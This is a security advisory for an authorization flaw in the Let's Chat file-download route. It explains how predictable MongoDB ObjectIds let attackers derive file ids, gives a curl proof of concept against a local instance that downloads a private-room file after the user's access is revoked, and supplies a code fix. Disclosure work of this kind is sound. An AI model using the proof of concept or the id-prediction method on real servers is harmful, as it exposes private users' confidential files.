
Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat)
Assigned CVE ID: CVE-2026-66750
GET /files/:id/:name checks that the caller is logged in and then serves the file. It never
checks whether the caller is allowed to see the room the file belongs to.
Any account can therefore read attachments from private and password protected rooms it is not a member of, and users whose access to a room has been revoked keep working download links for every file that was uploaded while they had access.
The file listing endpoint in the same controller does check membership, which is what the download endpoint is missing.
Repo URL: https://github.com/sdelements/lets-chat
Vulnerable from 0.3.0 (commit 55e8833, 24 Jan 2015, "Files backend") through 0.4.8, the
final release. No fixed version exists.
Private and password protected rooms arrived in 0.4.0, so the confidentiality boundary this crosses exists from 0.4.0 onward.
Requires files.enable: true, which is off in defaults.yml but on in many deployments,
since file sharing is a documented feature.
Confirmed on 0.4.8 at commit 617207f, and on docker.io/sdelements/lets-chat:latest
(0.4.7).
CWE-639: Authorization Bypass Through User-Controlled Key. Also CWE-862, Missing Authorization.
CVSS 4.0 base score 5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
The attacker needs one ordinary user account, network access to the HTTP port, and the ObjectId of a file. Self registration is enabled by default.
The id is not a secret in practice. Anyone who was ever a member of the room already has it,
because files:list and the upload://files/<id>/<name> message posted on upload both hand
it out. Access removal does not invalidate it, and there is no expiry or signature on the
URL.
For an attacker with no history in the target room, the id has to be guessed. It is a MongoDB ObjectId, not a UUID, and very little of it is unpredictable:
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 byte counter, increments by one per document
| | +--------- 2 byte process id
| +--------------- 3 byte machine id, fixed for the life of the process
+----------------------- 4 byte Unix timestamp, one second resolution
Everything except the counter is constant for the lifetime of a server process, and the
counter is a single sequence shared by every collection. An attacker who uploads one file of
their own therefore learns the machine id, the process id and the current counter position,
and every file uploaded by anyone else sits a short distance away in that sequence. Eight
consecutive uploads on sdelements/lets-chat:latest:
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
The download route applies requireLogin and nothing else.
app/controllers/files.js:59-92:
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
file.room is loaded and then never consulted.
The listing path in the same feature does gate on membership.
app/core/files.js:156-175:
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
So the application already has the check it needs (Room.canJoin, defined at
app/models/room.js:130); the download route just does not call it.
Requires files.enable: true and rooms.private: true
(LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
The same result holds for an account that was never a member of the room, given the file id.
Attachments in private and password protected rooms are readable by any account on the server that holds or can derive the file id. Removing someone from a private room, or changing a room password, does not cut off their access to files already uploaded, and archiving the room does not either.
Load the room and reuse the check that files:list already performs. In
app/controllers/files.js:62, after the if (!file) guard:
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});
Returning 404 rather than 403 for an unauthorized id avoids confirming that the file exists.